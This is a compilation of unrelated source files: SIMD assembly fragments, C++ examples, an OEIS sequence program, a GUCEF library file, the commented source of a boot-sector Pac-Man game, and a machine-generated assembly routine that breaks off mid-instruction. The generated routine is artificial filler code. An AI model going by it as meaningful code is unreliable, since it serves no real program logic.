psrld xmm0, 0x05
pmuludq xmm0, [mmx_01bytes]
pshufd xmm0, xmm0, 0
movdqa [r0], xmm0
movdqa [r0+0x10], xmm0
movdqa [r0+0x20], xmm0
movdqa [r0+0x30], xmm0
movdqa [r0+0x40], xmm0
movdqa [r0+0x50], xmm0
movdqa [r0+0x60], xmm0
movdqa [r0+0x70], xmm0
movdqa [r0+0x80], xmm0
movdqa [r0+0x90], xmm0
movdqa [r0+0xa0], xmm0
movdqa [r0+0xb0], xmm0
movdqa [r0+0xc0], xmm0
movdqa [r0+0xd0], xmm0
movdqa [r0+0xe0], xmm0
movdqa [r0+0xf0], xmm0
pop r4
pop r3
ret |
#include <algorithm>
#include <string>
#include <vector>
#include <cctype>
#include <iostream>
int main() {
int count = 0;
std::vector<std::string> words{ "An", "ancient", "pond" };
std::for_each(words.cbegin(), words.cend(),
// You're capturing "count" by value; all changes to it are localized and
// visible only from the lambda.
[count](std::string const& word)
// mutable comes after the argument list and tells the compiler that the
// call operator on this lambda shouldn't be const.
mutable {
if (std::isupper(word[0])) {
std::cout << word << " " << count << std::endl;
}
});
}
|
; A035005: Number of possible queen moves on an n X n chessboard.
; 0,12,56,152,320,580,952,1456,2112,2940,3960,5192,6656,8372,10360,12640,15232,18156,21432,25080,29120,33572,38456,43792,49600,55900,62712,70056,77952,86420,95480,105152,115456,126412,138040,150360,163392,177156,191672,206960,223040,239932,257656,276232,295680,316020,337272,359456,382592,406700,431800,457912,485056,513252,542520,572880,604352,636956,670712,705640,741760,779092,817656,857472,898560,940940,984632,1029656,1076032,1123780,1172920,1223472,1275456,1328892,1383800,1440200,1498112,1557556,1618552,1681120,1745280,1811052,1878456,1947512,2018240,2090660,2164792,2240656,2318272,2397660,2478840,2561832,2646656,2733332,2821880,2912320,3004672,3098956,3195192,3293400,3393600,3495812,3600056,3706352,3814720,3925180,4037752,4152456,4269312,4388340,4509560,4632992,4758656,4886572,5016760,5149240,5284032,5421156,5560632,5702480,5846720,5993372,6142456,6293992,6448000,6604500,6763512,6925056,7089152,7255820,7425080,7596952,7771456,7948612,8128440,8310960,8496192,8684156,8874872,9068360,9264640,9463732,9665656,9870432,10078080,10288620,10502072,10718456,10937792,11160100,11385400,11613712,11845056,12079452,12316920,12557480,12801152,13047956,13297912,13551040,13807360,14066892,14329656,14595672,14864960,15137540,15413432,15692656,15975232,16261180,16550520,16843272,17139456,17439092,17742200,18048800,18358912,18672556,18989752,19310520,19634880,19962852,20294456,20629712,20968640,21311260,21657592,22007656,22361472,22719060,23080440,23445632,23814656,24187532,24564280,24944920,25329472,25717956,26110392,26506800,26907200,27311612,27720056,28132552,28549120,28969780,29394552,29823456,30256512,30693740,31135160,31580792,32030656,32484772,32943160,33405840,33872832,34344156,34819832,35299880,35784320,36273172,36766456,37264192,37766400,38273100,38784312,39300056,39820352,40345220,40874680,41408752,41947456,42490812,43038840,43591560,44148992,44711156,45278072,45849760,46426240,47007532,47593656,48184632,48780480,49381220,49986872,50597456,51212992,51833500
mov $1,$0
mul $0,5
add $0,5
bin $0,2
mul $1,$0
div $1,15
mul $1,4
|
/*
* gucefPRODMAN: Product management module
* Copyright (C) 2002 - 2008. Dinand Vanvelzen
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
/*-------------------------------------------------------------------------//
// //
// INCLUDE //
// //
//-------------------------------------------------------------------------*/
#include "gucefPRODMAN_CProductInfoListProvider.h"
/*-------------------------------------------------------------------------//
// //
// NAMESPACE //
// //
//-------------------------------------------------------------------------*/
namespace GUCEF {
namespace PRODMAN {
/*-------------------------------------------------------------------------//
// //
// GLOBAL VARS //
// //
//-------------------------------------------------------------------------*/
const CORE::CEvent CProductInfoListProvider::ProductInfoListRetrievalStartedEvent = "GUCEF::PRODMAN::CProductInfoListProvider::ProductInfoListRetrievalStartedEvent";
const CORE::CEvent CProductInfoListProvider::ProductInfoListRetrievedEvent = "GUCEF::PRODMAN::CProductInfoListProvider::ProductInfoListRetrievedEvent";
const CORE::CEvent CProductInfoListProvider::ProductInfoListRetrievalErrorEvent = "GUCEF::PRODMAN::CProductInfoListProvider::ProductInfoListRetrievalErrorEvent";
/*-------------------------------------------------------------------------//
// //
// CLASSES //
// //
//-------------------------------------------------------------------------*/
void
CProductInfoListProvider::RegisterEvents( void )
{GUCEF_TRACE;
ProductInfoListRetrievalStartedEvent.Initialize();
ProductInfoListRetrievedEvent.Initialize();
ProductInfoListRetrievalErrorEvent.Initialize();
}
/*-------------------------------------------------------------------------*/
CProductInfoListProvider::CProductInfoListProvider()
: CObservingNotifier()
{GUCEF_TRACE;
RegisterEvents();
}
/*-------------------------------------------------------------------------*/
CProductInfoListProvider::~CProductInfoListProvider()
{GUCEF_TRACE;
}
/*-------------------------------------------------------------------------*/
const CORE::CString&
CProductInfoListProvider::GetClassTypeName( void ) const
{GUCEF_TRACE;
static CORE::CString classTypeName = "GUCEF::PRODMAN::CProductInfoListProvider";
return classTypeName;
}
/*-------------------------------------------------------------------------//
// //
// NAMESPACE //
// //
//-------------------------------------------------------------------------*/
}; /* namespace PRODMAN */
}; /* namespace GUCEF*/
/*-------------------------------------------------------------------------*/
|
;= test: bootman game
;= bin: fa31c08ed88816747c8ed0bc280050688e7d5068607c89c440cd10b90020b401cd10fcb800b88ec0bf8807becb7dbafa05b93c00add1e050b8db01720bb8f90f39d77504b600b004ab5701cfab5f5883e90479e183ef7079d8fbb020e620ebfa60bea97dfe4c04741461cf1e07b80102b90100ba8000bb007ccd13eb83c64404038a44038b14e8e20074038844028a44028b14e8d5007411b8200f26803d0475038844058714e8e000bb1b00887c54bdffff8a20807c0520740380f408b0ce8b50013b1475038844545238e07431e89a00742cb9100c387c0575058b0c0348055028d128f50fbec10fafc00fbecd0fafc901c15839e9730789cd88008950015a2c043cc273c38b4003e87d0083eb07799e8b50083b147503884454e85500268b0589400a83c30783fb1b75e5b8ec2fb110387c057517387c5474198b14b80f0ee84600005c04c606687c02eb5afe4c05b40fb1008b5001e82f0000cc83eb0779f3b8020e8b14e82000eb3ca26f7dfec280e21f520fb6fe6bff28b60001d783c704d1e75a26803ddbc3e8e7ffabc360e4602c2173122403c0e002f6d804ce3a06ab7d7403a2ac7d61cf0f0fcaca1000c20101f90f0000ce0117f90f0004ca1e01f90ffc00ce1e17f90f0400ffff0080fdbf8180bffa0082fdbe0180bffe8000bffe3f80bfaebfaebf80bffe8000fdfe8180bfbe0080fdbefdbe0180ffff0055aa
; Boot-Man
;
; (c) 2019 Guido van den Heuvel
;
; Boot-Man is a Pac-Man clone that fits (snugly) inside the Master Boot Record of a USB stick.
; A USB stick with Boot-Man on it boots into the game (hence the name). Unfortunately, however,
; Boot-Man leaves no room in the MBR for a partition table, which means that a USB stick with Boot-Man
; in its MBR cannot be used to store data. In fact, Windows does not recognize a USB stick with
; Boot-Man in its MBR as a valid storage medium.
;
; Controls of the game: you control Boot-Man using the WASD keys. No other user input is necessary. Some other
; keys can also be used to control Boot-Man, this is a side effect of coding my own keyboard handler in
; just a few bytes. There simply wasn't room for checking the validity of every key press.
;
; The game starts automatically, and when Boot-Man dies, a new game starts automatically within a couple of seconds.
;
;
; I've had to take a couple of liberties with the original Pac-Man game to fit Boot-Man inside the 510
; bytes available in the MBR:
;
; * The ghosts start in the four corners of the maze, they do not emerge from a central cage like in the original
;
; * There's just a single level. If you finish the level, the game keeps running with an empty maze. While
; it is rather difficult to finish the game (which is intentional, because of the single level), it is possible.
;
; * Boot-Man only has 1 life. If Boot-Man dies, another game is started automatically (by re-reading the MBR
; from disk, there simply isn't enough room to re-initialize the game in any other way)
;
; * Power pills function differently from the original. When Boot-Man eats a power pill, all ghosts become
; ethereal (represented in game by just their eyes being visible) and cease to chase Boot-Man. While ethereal,
; Boot-Man can walk through ghosts with no ill effects. While I would really like to include the "ghost hunting"
; from the original, which I consider to be an iconic part of the game, this simply isn't possible in the little
; space available.
;
; * There's no score, and no fruit to get bonus points from.
;
; * All ghosts, as well as Boot-Man itself, have the same, constant movement speed. In the original, the ghosts
; run at higher speeds than Pac-Man, while Pac-Man gets delayed slightly when eating and ghosts get delayed when moving
; through the tunnel connecting both sides of the maze. This leads to very interesting dynamics and strategies
; in the original that Boot-Man, by necessity, lacks.
;
;
; Boot-Man runs in text mode. It uses some of the graphical characters found in IBM codepage 437 for its objects:
; - Boot-Man itself is represented by the smiley face (โป), which is character 0x02 in the IBM charset
; - The Ghosts are represented by the infinity symbol (โ), which is character 0xec. These represent
; a ghost's eyes, with the ghost's body being represented simply by putting the character on a
; coloured background
; - The dots that represent Boot-Man's food are represented by the bullet character (โข),
; which is character 0xf9
; - The power pills with which Boot-Man gains extra powers are represented by the diamond (โฆ),
; which is character 0x04
; - The walls of the maze are represented by the full block character (โ), which is character 0xdb
;
; Boot-Man runs off int 8, which is connected to the timer interrupt. It should therefore run at the same speed
; on all PCs. It includes its own int 9 (keyboard) handler. The code is quite heavily optimized for size, so
; code quality is questionable at best, and downright atrocious at worst.
org 0x7c00 ; The MBR is loaded at 0x0000:0x7c00 by the BIOS
bits 16 ; Boot-Man runs in Real Mode. I am assuming that the BIOS leaves the CPU is Real Mode.
; This is true for the vast majority of PC systems. If your system's BIOS
; switches to Protected Mode or Long Mode during the boot process, Boot-Man
; won't run on your machine.
start:
cli ; Disable interrupts, as we are going to set up interrupt handlers and a stack
xor ax, ax
mov ds, ax ; Set up a data segment that includes the Interrupt Vector Table and the Boot-Man code
mov [bootdrive], dl ; save the current drive number, which has been stored in dl by the BIOS
mov ss, ax
mov sp, 0x28 ; Set up a temporary stack, within the interrupt vector table
push ax ; This saves some bytes when setting up interrupt vectors
push word int9handler ; Set up my own int 9 (keyboard) handler
push ax
push word int8handler ; Set up my own int 8 (timer interrupr) handler
mov sp, ax ; Set up the real stack.
inc ax ; int 0x10 / ah = 0: Switch video mode. Switch mode to 40x25 characters (al = 1).
int 0x10 ; In this mode, characters are approximately square, which means that horizontal
; and vertical movement speeds are almost the same.
mov cx, 0x2000 ; int 0x10 / ah = 1: Determine shape of hardware cursor.
mov ah, 0x01 ; With cx = 0x2000, this removes the hardware cursor from the screen altogether
int 0x10
cld ; Clear the direction flag. We use string instructions a lot as they have one-byte codes
mov ax, 0xb800
mov es, ax ; Set up the es segment to point to video RAM
;-----------------------------------------------------------------------------------------------------
; buildmaze: builds the maze. The maze is stored in memory as a bit array, with 1 representing a wall
; and 0 representing a food dot. Since the maze is left-right symmetrical, only half of the
; maze is stored in memory. The positions of the power pills is hard-coded in the code.
; Adding the power pills to the bit array would have necessitated 2 bits for every
; character, increasing its size drastically.
;
; Both sides of the maze are drawn simultaneously. The left part is drawn left to right,
; while the right part is drawn right to left. For efficiency reasons, the entire maze
; is built from the bottom up. Therefore, the maze is stored upside down in memory
;-----------------------------------------------------------------------------------------------------
buildmaze:
mov di, 0x0788 ; Lower left corner of maze in video ram
mov si, maze ; The first byte of the bit array containing the maze
mov dx, 0x05fa ; Address in video ram of the lower left powerpill
.maze_outerloop:
mov cx, 0x003c ; The distance between a character in the maze and its
; symmetric counterpart. Also functions as loop counter
lodsw ; Read 16 bits from the bit array, which represents one
; 32 character-wide row of the maze
.maze_innerloop:
shl ax, 1 ; shift out a single bit to determine whether a wall or dot must be shown
push ax
mov ax, 0x01db ; Assume it is a wall character (0x01: blue; 0xdb: full solid block)
jc .draw ; Draw the character if a 1 was shifted out
mov ax, 0x0ff9 ; otherwise, assume a food character (0x0f: white; x0f9: bullet)
cmp di, dx ; See if instead of food we need to draw a power pill
jnz .draw
mov dh, 0x00 ; Update powerpill address to draw remaining powerpills
mov al, 0x04 ; powerpill character (0x04: diamond - no need to set up colour again)
.draw:
stosw ; Store character + colour in video ram
push di
add di, cx ; Go to its symmetric counterpart
stosw ; and store it as well
pop di
pop ax
sub cx, 4 ; Update the distance between the two sides of the maze
jns .maze_innerloop ; As long as the distance between the two halves is positive, we continue
sub di, 0x70 ; Go to the previous line on the screen in video RAM.
jns .maze_outerloop ; Keep going as long as this line is on screen.
sti ; Initialization is complete, hence we can enable interrupts
.end: ; Idle loop, as everything else is done in the interrupt handlers.
; Unfortunately there's no room for a hlt here so the CPU keeps running 100%.
mov al, 0x20 ; Continuously write "end of interrupt". This saves a few bytes in the
out 0x20, al ; interrupt handlers themselves, as we have to do it only once, here.
jmp .end ; Overall, not a good way to implement an idle loop, its only saving grace
; being that it is so short.
;-----------------------------------------------------------------------------------------------------
; int8handler: The main loop of the game. Tied to int 8 (the timer interrupt, which fires 18x per
; second by default), to ensure that the game runs at the same speed on all machines
;
; The code first updates Boot-Man's position according to its movement direction
; and keyboard input. Then the ghost AI is run, to determine the ghosts' movement
; direction and update their position. Finally, Boot-Man and the ghosts are drawn
; in their new positions. Collisions between Boot-Man and the ghosts are checked
; before and after ghost movement. We need to detect for collisions twice, because
; if you only check once, Boot-Man can change position with a ghost without colliding
; (in the original, collisions are checked only once, and as a consequence, it is
; possible in some circumstances to actually move Pac-Man through a ghost).
;-----------------------------------------------------------------------------------------------------
int8handler:
pusha
mov si, bootman_data ; Use si as a pointer to the game data. This reduces byte count of the code:
; mov reg, [address] is a 4 byte instruction, while mov reg, [si] only has 2.
dec byte [si + pace_offset] ; Decrease the pace counter. The pace counter determines the overall
; speed of the game. We found that moving at a speed of 6 per second
; gives good speed and control, so we use a counter to only move
; once for every three times that the interrupt fires.
; We also use the pace counter to include longer delays at game start
; and after Boot-Man dies, by intitalizing the counter with higher values.
jump_offset: equ $ + 1
jz .move_all ; If the pace counter is not 0, we immediately finish.
popa ; The offset of this jump gets overwritten when boot-man dies
iret
push ds ; The new offset points here.
pop es ; This code reloads the MBR and jumps back to the start
mov ax, 0x0201 ; al = number of sectors to read
mov cx, 0x0001 ; cx / dh : CHS of sector to read. In this case we read sector 1, the MBR.
bootdrive: equ $ + 1
mov dx, 0x0080 ; dl = disk number to read from. This code gets updated with the actual
; number of the boot disk at program start.
mov bx, 0x7c00
int 0x13 ; int 0x13 / ah = 2: read one or more sectors from storage medium
jmp start ; Go back to the top once read is complete. This re-inits all
; modified code and data
.move_all:
mov byte [si + pace_offset], 0x3; Reset the pace counter.
;-----------------------------------------------------------------------------------------------------
; Move Boot-Man
;-----------------------------------------------------------------------------------------------------
mov al, [si + 3] ; al = new movement direction, as determined by keyboard input
mov dx, [si] ; dx = current position of Boot-Man
call newpos ; Update dx to move 1 square in the direction indicated by al
; newpos also checks for collisions with walls (in which case ZF is set)
jz .nodirchange ; ZF indicates that new position collides with wall. We therefore try to keep
; moving in the current direction instead.
mov [si + 2], al ; If there's no collision, update the current movement direction
.nodirchange:
mov al, [si + 2] ; al = current movement direction
mov dx, [si] ; dx = current position of Boot-Man
call newpos ; Update dx to move 1 square in direction al
jz .endbootman ; If there's a wall there, do nothing
.move:
mov ax, 0x0f20 ; Prepare to remove Boot-Man from screen, before drawing it in the new position
; 0x0f = black background, white foreground; 0x20 = space character
cmp byte [es:di], 0x04 ; Detect power pill
jnz .nopowerpill
mov byte [si + timer_offset], al; If Boot-Man just ate a power pill, set up the ghost timer to 0x20. We use al here
; as it accidentally contains 0x20, and this is one byte shorter than having an
; explicit constant.
.nopowerpill:
xchg dx, [si] ; Retrieve current position and store new position
call paint ; Actually remove Boot-Man from the screen
.endbootman:
;-----------------------------------------------------------------------------------------------------
; ghost AI and movement
;
; Determine the new movement direction for each ghost. Ghost movement direction is determined by
; the following rule:
; (1) Every ghost must keep moving
; (2) It is forbidden for ghosts to suddenly start moving backwards. Unless Boot-Man just consumed
; a powerpill, in which case ghosts are forbidden from continuing in the direction they were going
; (3) Whenever a ghost has multiple movement options (i.e., it is at a crossroads), try moving 1 space
; in each direction that is allowed, and calculate the distance to the target location after
; that move. Choose the direction for which this distance is lowest as the new movement direction
;
; During normal movement, ghosts target a position that is related to the position of Boot-Man, as follows:
;
; number | ghost colour | target
; -------+--------------+-------------------
; 1 | purple | bootman's position
; 2 | red | 4 squares below Boot-Man
; 3 | cyan | 4 squares to the left of Boot-Man
; 4 | green | 4 squares to the right of Boot-Man
;
; There's two different reasons for having slightly different AI for each ghost:
; (1) If all ghosts have the same AI they tend to bunch together and stay there. With the current AI,
; ghosts will sometimes bunch together, but they will split apart eventually
; (2) With this setup, the ghosts tend to surround Boot-Man, making it harder for the player
;
; When Boot-Man picks up a power pill, a timer starts running, and ghosts become ethereal.
; As long as the ghosts are ethereal, the
; ghosts will not chase Boot-Man. Instead they will use the center of the big rectangular block
; in the middle of the maze as their target. They cannot reach it, obviously, so the result is
; that they will keep circling this block for as long as the timer runs.
;
; This AI is related to, but not the same as, the AI actually used in Pac-Man. The red Pac-Man ghost
; uses Pac-Man itself as target, same as my purple ghost, while the pink Pac-Man ghost will
; target 4 squares ahead of Pac-Man, in the direction Pac-Man is currently moving. The other ghosts'
; movement is a bit more complex than that. I had to simplify the AI because of the limited code size.
;-----------------------------------------------------------------------------------------------------
mov bx, 3 * gh_length + bm_length ; Set up offset to ghost data. With this, si + bx is a
; pointer to the data from the last ghost. Also used as
; loop counter to loop through all the ghosts
mov byte [si + collision_offset], bh ; Reset collision detection. BH happens to be 0 at this point
.ghost_ai_outer:
mov bp, 0xffff ; bp = minimum distance; start out at maxint
mov ah, [bx + si] ; ah will become the forbidden movement direction. We start
; with the current direction, which is forbidden if Boot-Man
; just ate a power pill
cmp byte [si + timer_offset], 0x20 ; If timer_offset == 0x20, Boot-Man just picked up a power pill
jz .reverse ; so in that case we do not flip the direction.
xor ah, 8 ; Flip the current direction to obtain the forbidden direction in ah
.reverse:
mov al, 0xce ; al = current directions being tried. Doubles as loop counter
; over all directions.
; Values are the same as those used by the newpos routine
mov dx, [bx + si + gh_offset_pos] ; dx = current ghost position
cmp dx, [si] ; compare dx with Boot-Man position
jne .ghost_ai_loop ; If they are equal,
mov [si + collision_offset], al ; We store a non-zero value in the collision_detect flag
; We use al here as we know it to be non-zero, and this reduces
; code size compared to using a literal constant.
.ghost_ai_loop:
push dx
cmp al, ah ; If the current direction is the forbidden direction
jz .next ; we continue with the next direction
call newpos ; Update ghost position and check if it collides with a wall
jz .next ; if so, we continue with the next direction
mov cx, 0x0c10 ; Target position if ghosts are ethereal. Position 0x0c10
; (x = 0x10, y = 0x0c) is in the center of the maze.
cmp byte [si + timer_offset], bh ; See if ghost timer runs. We compare with bh, which is known to be 0.
jnz .skip_target ; If ghost timer runs, we use the aforementioned target position
mov cx, [si] ; Otherwise we use Boot-Man's current position,
add cx, [bx + si + gh_offset_focus] ; Updated with an offset that is different for each ghost
.skip_target:
;-----------------------------------------------------------------------------------------------------
; get_distance: Calculate distance between positions in cx (target position) and dx (ghost position)
; This used to be a function, but I inlined it to save some space.
; The square of the distance between the positions in cx and dx is calculated,
; according to Pythagoras' theorem.
;-----------------------------------------------------------------------------------------------------
push ax
sub cl, dl ; after this, cl contains the horizontal difference
sub ch, dh ; and ch the vertical difference
movsx ax, cl
imul ax, ax ; ax = square of horizontal difference
movsx cx, ch
imul cx, cx ; cx = square of vertical difference
add cx, ax ; cx = distance squared between positions in cx and dx
pop ax
cmp cx, bp ; Compare this distance to the current minimum
jnc .next ; and if it is,
mov bp, cx ; update the minimum distance
mov [bx + si], al ; set the movement direction to the current direction
mov [bx + si + gh_offset_pos], dx ; Store the new ghost position
.next:
pop dx ; Restore the current ghost position
sub al, 4 ; Update the current direction / loop counter
cmp al, 0xc2
jnc .ghost_ai_loop
mov ax, [bx + si + gh_offset_terrain] ; Remove the ghost in the old position from the screen
call paint ; by painting the terrain underneath that ghost that was
; determined in the previous movement phase.
sub bx, gh_length ; Go to the next ghost,
jns .ghost_ai_outer ; and stop after the final ghost
.ghostterrain_loop: ; Second loop through all the ghosts, to determine terrain
; underneath each one. This is used in the next movement phase
; to restore the terrain underneath the ghosts.
; Note that this "terrain storing" approach can trigger a bug
; if Boot-Man and a ghost share a position. In that case
; an extra Boot-Man character may be drawn on screen.
mov dx, [bx + si + gh_offset_pos + gh_length] ; dx = updated ghost position
cmp dx, [si] ; compare dx with Boot-Man's position
jne .skip_collision ; and if they coincide,
mov [si + collision_offset], al ; set the collision detect flag to a non-zero value.
.skip_collision:
call get_screenpos ; find the address in video ram of the updated ghost position,
mov ax, [es:di] ; store its content in ax
mov [bx + si + gh_offset_terrain + gh_length], ax ; and copy it to ghostterrain
add bx, gh_length ; go to next ghost
cmp bx, 3 * gh_length + bm_length ; and determine if it is the final ghost
jnz .ghostterrain_loop
; Test if ghosts are invisible
mov ax, 0x2fec ; Assume ghost is visible: 0x2f = purple background, white text
; 0xec = infinity symbol = ghost eyes
mov cl, 0x10 ; cl = difference in colour between successive ghosts
; ch is set to zero as that leads to smaller code
cmp byte [si + timer_offset], bh ; See if ghost timer is running (note bh is still zero at this point)
jnz .ghosts_invisible ; If it is, ghosts are ethereal
cmp byte [si + collision_offset], bh ; Ghosts are visible, so test for collisions
jz .no_collision
; Ghosts are visible and collide with boot-man, therefore boot-man is dead
mov dx, [si] ; dx = current Boot-Man position
mov ax, 0x0e0f ; Dead boot-man: 0x0e = black background, yellow foreground
; 0x0f = 8 pointed star
call paint
add byte [si + pace_offset], bl ; Update pace counter: this introduces a small period of mourning
; after Boot-Man's death.
; It was 3, and bl = 0x1b at this point, so it becomes 0x1e
mov byte [jump_offset], 2 ; Modify the pace code at the start of this handler, to jump to the
; code that re-loads the MBR and re-starts the game
jmp intxhandler_end
; Ghosts are invisible
.ghosts_invisible:
dec byte [si + timer_offset] ; Update ghost_timer to limit the period of the ghosts being ethereal
mov ah, 0x0f ; Update ghost colour to black background, white eyes
mov cl, 0x0 ; Update difference between colours of successive ghosts. Value of 0x0
; means all ghosts are the same colour when they are ethereal.
.no_collision:
.ghostdraw: ; Draw the ghosts on the screen
mov dx, [bx + si + gh_offset_pos] ; dx = new ghost position
call paint ; show ghost in video ram
add ah, cl ; Update ghost colour.
sub bx, gh_length ; Loop over all ghosts
jns .ghostdraw ; until the final one.
mov ax, word 0x0e02 ; Draw boot-man on the screen. 0x0e = black background, yellow foreground
; 0x02 = smiley face
mov dx, [si] ; dx = new Boot-Man position
call paint ; show Boot-Man
.end:
jmp intxhandler_end
;-----------------------------------------------------------------------------------------------------
; newpos: calculates a new position, starting from a position in dx and movement direction in al.
; dl contains the x coordinate, while dh contains the y coordinate. The movement directions
; in al are as follows:
; 0xc2: move right
; 0xc6: move down
; 0xca: move left
; 0xce: move up
;
; The reason for these fairly strange values is that they form the 2nd byte (the ModR/M byte)
; of the instruction updating the position:
; inc dl (0xfe, 0xc2), inc dh (0xfe), dec dl (0xfe, 0xca), dec dh (0xfe, 0xce)
; The code first modifies itself to the correct instruction, then executes this instruction. The
; reason for doing it in this way is that this is a lot shorter than the traditional way of
; doing an if / elif / elif / else chain.
;
; Immediately after calculating the new position we also determine the address in video RAM
; corresponding to this position. All lines of the screen are stored one after the other in RAM,
; starting at 0xb800:0x0000. Since each line has 40 characters, and every character takes up
; two bytes (one for colour, one for the character code), the equation to calculate video RAM
; offset from x, y coordinates is as follows:
;
; offset = 2 * (40 * y + x + 4),
;
; with the +4 due to the fact that the maze is in the center of the screen, with a 4 character wide
; border to the left.
;
; newpos and get_screenpos used to be two separate functions but since they were almost
; always called one after the other, combining them saved some bytes of code.
;-----------------------------------------------------------------------------------------------------
newpos:
mov [.modified_instruction + 1], al ; Here the instruction to be executed is modified
.modified_instruction:
db 0xfe, 0xc2 ; inc dl in machine code
and dl, 0x1f ; Deal with tunnels
get_screenpos:
push dx
movzx di, dh ; di = y coordinate
imul di, di, 0x28 ; multiply di by 0x28 = 40 decimal, the screen width
mov dh, 0 ; After this, dx contains the x coordinate
add di, dx ; di = y * 40 + x
add di, 4 ; Skip the left border by adding 4 to di
shl di, 1 ; Multiply di by 2
pop dx
cmp byte [es:di], 0xdb ; Check to see if the new position collides with a wall
; 0xdb = full block character that makes up the wall
ret
;-----------------------------------------------------------------------------------------------------
; paint: paints a character on screen at given x, y coordinates in dx
; simple convenience function that gets called enough to be actually worth it, in terms
; of code length.
;-----------------------------------------------------------------------------------------------------
paint:
call get_screenpos ; Convert x, y coordinates in dx to video memory address
stosw ; stosw = shorter code for mov [es:di], ax
; stosw also adds 2 to di, but that effect is ignored here
ret
;-----------------------------------------------------------------------------------------------------
; int9handler: the keyboard handler. It converts the scancodes for WASD into valid movement
; directions, as described in the comment block above the newpos function.
; We perform some bit wrangling to convert one into the other. This used to be
; a simple if / elif / elif / else construction, but this bit-wrangling code is
; much shorter, albeit much more obscure.
; In the hope of documenting how this works, the comments show how these scancodes
; are modified step by step into valid movement directions.
;
; The reason that this works at all is that, coincidentally, WASD are in order of scancode,
; (which is not a coincidence, as these scancodes reflect the geometry of the original
; IBM PC keyboards), and that the lowest 2 bits of these are different for all 4.
; Unfortunately, they are ordered in the wrong way: scancodes ascend while movement
; directions descend. Therefore an extra minus sign is needed somewhere, which is
; provided by the neg instruction.
;-----------------------------------------------------------------------------------------------------
int9handler:
pusha
in al, 0x60 ; We use the legacy I/O port for the keyboard. This code
; would also work in an IBM PC from almost 40 years ago
; This code converts al from scancode to movement direction.
; Input: 0x11 (W), 0x1e (A), 0x1f (S), 0x20 (D)
; Output: 0xce (up), 0xca (right), 0xc6 (down), 0xc2 (left)
;
; Other scancodes below 0x21 are also mapped onto a movement direction
; Starting input: 0x11 0x1e 0x1f 0x20
sub al, 0x21 ; 0xf0 0xfd 0xfe 0xff
jnc intxhandler_end ; if al >= 0x21, ignore scancode;
; this includes key release events
and al, 3 ; 0x00 0x01 0x02 0x03
shl al, 2 ; 0x00 0x04 0x08 0x0c
neg al ; 0x00 0xfc 0xf8 0xf4
add al, 0xce ; 0xce 0xca 0xc6 0xc2
cmp al, [bootman_data + 2] ; If the new direction is the same as the current direction, ignore it
jz intxhandler_end
mov [bootman_data + 3], al ; Set new direction to the direction derived from the keyboard input
intxhandler_end:
popa
iret
bootman_data:
db 0x0f, 0x0f ; Boot-Man's x and y position
db 0xca ; Boot-Man's direction
db 0xca ; Boot-Man's future direction
pace_counter: db 0x10
ghost_timer: db 0x0 ; if > 0 ghosts are invisible, and is counted backwards to 0
ghostdata:
db 0xc2 ; 1st ghost, direction
ghostpos:
db 0x01, 0x01 ; x and y position
ghostterrain:
dw 0x0ff9 ; terrain underneath
ghostfocus:
db 0x0, 0x0 ; focus point for movement
secondghost:
db 0xce ; 2nd ghost, direction
db 0x01, 0x17 ; x and y position
dw 0x0ff9 ; terrain underneath
db 0x0, 0x4 ; focus point for movement
db 0xca ; 3rd ghost, direction
db 0x1e, 0x01 ; x and y position
dw 0x0ff9 ; terrain underneath
db 0xfc, 0x0 ; focus point for movement
db 0xce ; 4th ghost, direction
db 0x1e, 0x17 ; x and y position
dw 0x0ff9 ; terrain underneath
db 0x4, 0x0 ; focus point for movement
lastghost:
bm_length equ ghostdata - bootman_data
gh_length equ secondghost - ghostdata
gh_offset_pos equ ghostpos - ghostdata
gh_offset_terrain equ ghostterrain - ghostdata
gh_offset_focus equ ghostfocus - ghostdata
pace_offset equ pace_counter - bootman_data
timer_offset equ ghost_timer - bootman_data
; The maze, as a bit array. Ones denote walls, zeroes denote food dots / corridors
; The maze is stored upside down to save one cmp instruction in buildmaze
maze: dw 0xffff, 0x8000, 0xbffd, 0x8081, 0xfabf, 0x8200, 0xbefd, 0x8001
dw 0xfebf, 0x0080, 0xfebf, 0x803f, 0xaebf, 0xaebf, 0x80bf, 0xfebf
dw 0x0080, 0xfefd, 0x8081, 0xbebf, 0x8000, 0xbefd, 0xbefd, 0x8001
dw 0xffff
maze_length: equ $ - maze
; Collision detection flag. It is initialized by the code
collision_detect:
collision_offset equ collision_detect - bootman_data
times 510 - ($ - $$) db 0
db 0x55
db 0xaa
|
; int p_forward_list_alt_empty_fastcall(p_forward_list_alt_t *list)
SECTION code_clib
SECTION code_adt_p_forward_list_alt
PUBLIC _p_forward_list_alt_empty_fastcall
EXTERN asm_p_forward_list_alt_empty
defc _p_forward_list_alt_empty_fastcall = asm_p_forward_list_alt_empty
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0xf496, %rsi
lea addresses_D_ht+0xe2d2, %rdi
nop
nop
cmp $56109, %rbx
mov $13, %rcx
rep movsq
nop
nop
nop
nop
lfence
lea addresses_D_ht+0x130d6, %rbp
clflush (%rbp)
nop
cmp %rbx, %rbx
movl $0x61626364, (%rbp)
nop
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_WC_ht+0x12cb6, %rsi
nop
nop
nop
nop
and $43023, %rdx
movb (%rsi), %cl
nop
nop
nop
inc %rsi
lea addresses_WC_ht+0x910e, %rbx
nop
and $59834, %rcx
mov $0x6162636465666768, %rbp
movq %rbp, (%rbx)
dec %rbp
lea addresses_D_ht+0x1734, %rsi
lea addresses_UC_ht+0x1c94e, %rdi
nop
nop
nop
nop
xor %r8, %r8
mov $98, %rcx
rep movsq
nop
nop
nop
xor %rcx, %rcx
lea addresses_WT_ht+0x1e456, %r8
nop
nop
nop
nop
xor %rdx, %rdx
movups (%r8), %xmm4
vpextrq $1, %xmm4, %r10
nop
nop
nop
nop
nop
xor $60777, %rcx
lea addresses_normal_ht+0x1043e, %rsi
lea addresses_D_ht+0x9016, %rdi
